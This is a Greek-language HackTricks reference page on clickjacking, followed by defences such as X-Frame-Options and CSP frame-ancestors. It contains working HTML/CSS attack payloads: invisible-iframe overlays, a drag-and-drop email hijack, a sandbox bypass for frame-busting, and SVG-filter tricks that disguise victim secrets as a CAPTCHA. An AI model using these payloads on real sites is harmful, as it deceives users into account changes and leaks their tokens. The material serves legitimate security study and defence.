Clickjacking

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι το Clickjacking

Σε μια επίθεση Clickjacking, ένας χρήστης εξαπατάται ώστε να κλικάρει ένα στοιχείο σε μια ιστοσελίδα που είναι είτε αόρατο είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε ανεπιθύμητες συνέπειες για τον χρήστη, όπως το κατέβασμα malware, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή credentials ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή ηλεκτρονική αγορά προϊόντων.

Κόλπο προ-συμπλήρωσης φορμών

Κάποιες φορές είναι δυνατό να συμπληρωθεί η τιμή πεδίων μιας φόρμας χρησιμοποιώντας GET παραμέτρους κατά τη φόρτωση μιας σελίδας. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το clickjacking payload ώστε ο χρήστης να πατήσει το κουμπί Submit.

Συμπλήρωση φόρμας με Drag&Drop

Αν χρειάζεσαι ο χρήστης να συμπληρώσει μια φόρμα αλλά δεν θέλεις να του ζητήσεις άμεσα να γράψει κάποια συγκεκριμένη πληροφορία (όπως το email ή έναν συγκεκριμένο password που γνωρίζεις), μπορείς απλά να του ζητήσεις να κάνει Drag&Drop κάτι που θα εισάγει τα δεδομένα που ελέγχεις όπως στο this example.

Βασικό Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Πολυσταδιακό Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Εάν έχετε εντοπίσει μια XSS attack that requires a user to click σε κάποιο στοιχείο για να trigger το XSS και η σελίδα είναι vulnerable to clickjacking, μπορείτε να το εκμεταλλευτείτε για να ξεγελάσετε τον χρήστη ώστε να κάνει κλικ στο κουμπί/σύνδεσμο.
Example:
Βρήκατε ένα self XSS σε κάποια ιδιωτικά στοιχεία του λογαριασμού (στοιχεία που only you can set and read). Η σελίδα με τη form για να ορίσετε αυτά τα στοιχεία είναι vulnerable σε Clickjacking και μπορείτε να prepopulate τη form με τα GET parameters.
Ένας attacker θα μπορούσε να ετοιμάσει μια Clickjacking επίθεση σε εκείνη τη σελίδα, prepopulating τη form με το XSS payload και tricking τον user ώστε να submit τη φόρμα. Έτσι, when the form is submitted και οι τιμές τροποποιηθούν, ο user will execute the XSS.

DoubleClickjacking

Firstly explained in this post, αυτή η τεχνική ζητάει από το victim να κάνει διπλό κλικ σε ένα κουμπί μιας custom σελίδας τοποθετημένης σε συγκεκριμένη θέση, και χρησιμοποιεί τις χρονικές διαφορές μεταξύ mousedown και onclick events για να φορτώσει τη victim σελίδα κατά τη διάρκεια του διπλού κλικ, έτσι ώστε ο victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Αυτή η τεχνική επιτρέπει να ξεγελαστεί ο χρήστης ώστε να κάνει κλικ σε ένα σημείο στη victim page παρακάμπτοντας κάθε protection against clickjacking. So the attacker needs to find sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.

SVG Filters / Cross-Origin Iframe UI Redressing

Modern Chromium/WebKit/Gecko builds επιτρέπουν στο CSS filter:url(#id) να εφαρμόζεται σε cross-origin iframes. Τα rasterized pixels του iframe εκτίθενται στο SVG filter graph ως SourceGraphic, οπότε primitives όπως feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, κ.ά. μπορούν αυθαίρετα να παραμορφώσουν το victim UI πριν το user το δει, ακόμα κι αν ο attacker δεν αγγίξει ποτέ το DOM. Ένα απλό Liquid-Glass style filter μοιάζει με:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Χρήσιμα primitives: feImage φορτώνει bitmap του επιτιθέμενου (π.χ., overlays, displacement maps); feFlood δημιουργεί mattes σταθερού χρώματος; feOffset/feGaussianBlur βελτιώνουν highlights; feDisplacementMap διαθλά/παραμορφώνει κείμενο; feComposite operator="arithmetic" υλοποιεί αυθαίρετα ανά-κανάλι μαθηματικά (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), αρκετά για ενίσχυση αντίθεσης, μάσκινγκ και λειτουργίες AND/OR; feTile κόβει και αναπαράγει pixel probes; feMorphology μεγαλώνει/σμικρύνει strokes; feColorMatrix μεταφέρει luma στο alpha για να κατασκευάσει ακριβείς μάσκες.

Παραμόρφωση μυστικών σε προτροπές τύπου CAPTCHA

Εάν ένα framable endpoint αποδίδει μυστικά (tokens, reset codes, API keys), ο επιτιθέμενος μπορεί να τα παραμορφώσει ώστε να μοιάζουν με CAPTCHA και να εξαναγκάσει χειροκίνητη απομαγνητοφώνηση:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Τα παραμορφωμένα pixels εξαπατούν τον χρήστη ώστε να «λύνει» το captcha μέσα στο ελεγχόμενο από τον επιτιθέμενο <input> του οποίου το pattern επιβάλλει το πραγματικό μυστικό του θύματος.

Επαναπλαισίωση των εισόδων του θύματος

Τα φίλτρα μπορούν να αφαιρέσουν χειρουργικά το placeholder/validation κείμενο ενώ διατηρούν τις πληκτρολογήσεις του χρήστη. Μια ροή εργασίας:

  1. feComposite operator="arithmetic" k2≈4 ενισχύει τη φωτεινότητα ώστε το γκρίζο βοηθητικό κείμενο να κορεστεί σε λευκό.
  2. feTile περιορίζει την περιοχή εργασίας στο ορθογώνιο του πεδίου εισόδου.
  3. feMorphology operator="erode" παχύνει τα σκοτεινά γράμματα που πληκτρολογεί το θύμα και τα αποθηκεύει μέσω result="thick".
  4. feFlood δημιουργεί μια λευκή πλάκα, feBlend mode="difference" με το thick, και ένα δεύτερο feComposite k2≈100 το μετατρέπει σε έντονη luma matte.
  5. feColorMatrix μεταφέρει εκείνη τη luma στο alpha, και feComposite in="SourceGraphic" operator="in" διατηρεί μόνο τα γράμματα που εισήγαγε ο χρήστης.
  6. Ένα ακόμη feBlend in2="white" συν μια λεπτή περικοπή δίνει ένα καθαρό textbox, μετά το οποίο ο επιτιθέμενος επικάθεται με τις δικές του HTML ετικέτες (π.χ. “Enter your email”) ενώ το κρυφό iframe εξακολουθεί να επιβάλλει την πολιτική κωδικών του origin του θύματος.

Το Safari δυσκολεύεται με το feTile; το ίδιο αποτέλεσμα μπορεί να αναπαραχθεί με spatial mattes φτιαγμένα από feFlood + feColorMatrix + feComposite για payloads μόνο σε WebKit.

Ανιχνεύσεις pixels, λογική και μηχανές κατάστασης

Κόβοντας μια περιοχή 2–4 px με feTile και πλακάροντάς την στο 100% του viewport, ο επιτιθέμενος μετασχηματίζει το δειγματοληπτημένο χρώμα σε μια υφή πλήρους καρέ που μπορεί να υποβληθεί σε threshold ώστε να γίνει boolean μάσκα:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Για αυθαίρετα χρώματα, μια αναφορά feFlood (π.χ. #0B57D0) μαζί με feBlend mode="difference" και ένα ακόμη arithmetic composite (k2≈100, k4 ως tolerance) παράγει λευκό μόνο όταν το δειγματοληπτημένο pixel ταιριάζει με την στοχευμένη απόχρωση. Η τροφοδοσία αυτών των μασκών σε feComposite με ρυθμισμένα k1..k4 αποδίδει λογικές πύλες: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending against white. Η αλυσιδωτή σύνδεση των πυλών κατασκευάζει έναν full adder μέσα στο filter graph, αποδεικνύοντας ότι το pipeline είναι λειτουργικά πλήρες.

Attackers μπορούν επομένως να διαβάσουν την κατάσταση του UI χωρίς JavaScript. Παραδείγματα boolean από μια modal ροή εργασίας:

  • D (dialog visible): σαρώνετε μια σκοτεινωμένη γωνία και ελέγχετε για λευκό.
  • L (dialog loaded): σαρώνετε τις συντεταγμένες όπου εμφανίζεται το κουμπί μόλις είναι έτοιμο.
  • C (checkbox checked): συγκρίνετε το pixel του checkbox με το ενεργό μπλε #0B57D0.
  • R (red success/failure banner): χρησιμοποιήστε feMorphology και κατώφλια κόκκινου εντός του ορθογωνίου του banner.

Κάθε ανιχνευμένη κατάσταση ενεργοποιεί διαφορετικό overlay bitmap ενσωματωμένο μέσω feImage xlink:href="data:...". Η μάσκα αυτών των bitmaps με D, L, C, R κρατά τα overlays συγχρονισμένα με τον πραγματικό διάλογο και καθοδηγεί το θύμα μέσα από πολυσταδιακές ροές εργασίας (επαναφορές κωδικού, approvals, destructive confirmations) χωρίς ποτέ να εκθέτει το DOM.

Browser extensions: DOM-based autofill clickjacking

Εκτός από την τοποθέτηση σε iframe σε σελίδες του θύματος, οι επιτιθέμενοι μπορούν να στοχεύσουν στοιχεία UI επεκτάσεων browser που εισάγονται στη σελίδα. Οι password managers εμφανίζουν autofill dropdowns κοντά σε εστιασμένα inputs· εστιάζοντας σε ένα πεδίο που ελέγχεται από τον επιτιθέμενο και κρύβοντας/καλυπτόμενο το dropdown της επέκτασης (opacity/overlay/top-layer tricks), ένα εξαναγκασμένο κλικ χρήστη μπορεί να επιλέξει ένα αποθηκευμένο στοιχείο και να γεμίσει ευαίσθητα δεδομένα σε inputs που ελέγχονται από τον επιτιθέμενο. Αυτή η παραλλαγή δεν απαιτεί έκθεση μέσω iframe και λειτουργεί εξ ολοκλήρου μέσω DOM/CSS manipulation.

Στρατηγικές για την αντιμετώπιση του Clickjacking

Αμυντικά μέτρα στην πλευρά του πελάτη

Σκριπτάκια που εκτελούνται στην πλευρά του client μπορούν να κάνουν ενέργειες για την αποτροπή του Clickjacking:

  • Εξασφάλιση ότι το παράθυρο της εφαρμογής είναι το κύριο ή το top window.
  • Κάνoντας όλα τα frames ορατά.
  • Αποτροπή κλικ σε αόρατα frames.
  • Ανίχνευση και ειδοποίηση των χρηστών για πιθανές προσπάθειες Clickjacking.

Ωστόσο, αυτά τα frame-busting scripts μπορούν να παρακαμφθούν:

  • Browsers’ Security Settings: Κάποιοι browsers μπορεί να μπλοκάρουν αυτά τα scripts με βάση τις ρυθμίσεις ασφαλείας τους ή την έλλειψη υποστήριξης JavaScript.
  • HTML5 iframe sandbox Attribute: Ένας επιτιθέμενος μπορεί να εξουδετερώσει τα frame buster scripts ρυθμίζοντας το sandbox attribute με τις τιμές allow-forms ή allow-scripts χωρίς allow-top-navigation. Αυτό εμποδίζει το iframe να επαληθεύσει αν είναι το top window, π.χ.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Οι τιμές allow-forms και allow-scripts επιτρέπουν ενέργειες μέσα στο iframe ενώ απενεργοποιούν την πλοήγηση σε ανώτερο επίπεδο. Για να διασφαλιστεί η επιθυμητή λειτουργικότητα του στοχοποιημένου site, μπορεί να χρειαστούν επιπλέον άδειες όπως allow-same-origin και allow-modals, ανάλογα με τον τύπο της επίθεσης. Τα μηνύματα στην κονσόλα του browser μπορούν να υποδείξουν ποιες άδειες πρέπει να επιτραπούν.

Αμυντικές τεχνικές πλευράς διακομιστή

X-Frame-Options

Η X-Frame-Options HTTP response header ενημερώνει τα προγράμματα περιήγησης σχετικά με τη νομιμότητα της απόδοσης μίας σελίδας σε ένα <frame> ή <iframe>, βοηθώντας στην πρόληψη του Clickjacking:

  • X-Frame-Options: deny - Κανένας ιστότοπος δεν μπορεί να ενσωματώσει το περιεχόμενο.
  • X-Frame-Options: sameorigin - Μόνο ο τρέχων ιστότοπος μπορεί να ενσωματώσει το περιεχόμενο.
  • X-Frame-Options: allow-from https://trusted.com - Μόνο το συγκεκριμένο ‘uri’ μπορεί να ενσωματώσει τη σελίδα.
  • Σημειώστε τους περιορισμούς: αν το πρόγραμμα περιήγησης δεν υποστηρίζει αυτή την οδηγία, ίσως να μην λειτουργήσει. Ορισμένα προγράμματα περιήγησης προτιμούν την οδηγία frame-ancestors του CSP.

Content Security Policy (CSP) frame-ancestors directive

Η frame-ancestors directive in CSP είναι η συνιστώμενη μέθοδος για προστασία από Clickjacking:

  • frame-ancestors 'none' - Παρόμοιο με X-Frame-Options: deny.
  • frame-ancestors 'self' - Παρόμοιο με X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Παρόμοιο με X-Frame-Options: allow-from.

Για παράδειγμα, η παρακάτω CSP επιτρέπει ενσωμάτωση μόνο από το ίδιο domain:

Content-Security-Policy: frame-ancestors 'self';

Περισσότερες λεπτομέρειες και πιο σύνθετα παραδείγματα βρίσκονται στα frame-ancestors CSP documentation και Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Η Content Security Policy (CSP) είναι ένα μέτρο ασφάλειας που βοηθά στην αποτροπή του Clickjacking και άλλων επιθέσεων έγχυσης κώδικα, καθορίζοντας ποιες πηγές πρέπει να επιτρέπονται από το πρόγραμμα περιήγησης για να φορτώσουν περιεχόμενο.

frame-src Directive

  • Ορίζει έγκυρες πηγές για frames.
  • Πιο συγκεκριμένο από την οδηγία default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Αυτή η πολιτική επιτρέπει πλαίσια από την ίδια προέλευση (self) και https://trusted-website.com.

child-src Οδηγία

  • Εισήχθη στο επίπεδο 2 του CSP για τον καθορισμό έγκυρων πηγών για web workers και πλαίσια.
  • Λειτουργεί ως εφεδρική ρύθμιση για frame-src και worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Αυτή η πολιτική επιτρέπει frames και workers από την ίδια προέλευση (self) και https://trusted-website.com.

Σημειώσεις Χρήσης:

  • Απόσυρση: το child-src καταργείται σταδιακά υπέρ των frame-src και worker-src.
  • Συμπεριφορά fallback: Αν το frame-src απουσιάζει, το child-src χρησιμοποιείται ως fallback για frames. Αν και τα δύο απουσιάζουν, χρησιμοποιείται το default-src.
  • Αυστηρός Ορισμός Πηγών: Συμπεριλάβετε μόνο αξιόπιστες πηγές στις οδηγίες για να αποτραπεί η εκμετάλλευση.

JavaScript Frame-Breaking Scripts

Αν και δεν είναι απολύτως αλάνθαστα, JavaScript-based frame-busting scripts μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να ενσωματωθεί σε frame. Παράδειγμα:

if (top !== self) {
top.location = self.location
}

Χρήση Anti-CSRF Tokens

  • Επικύρωση Token: Χρησιμοποιήστε anti-CSRF tokens σε εφαρμογές web για να διασφαλίσετε ότι τα αιτήματα που προκαλούν αλλαγή κατάστασης εκτελούνται σκόπιμα από τον χρήστη και όχι μέσω μιας Clickjacked σελίδας.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks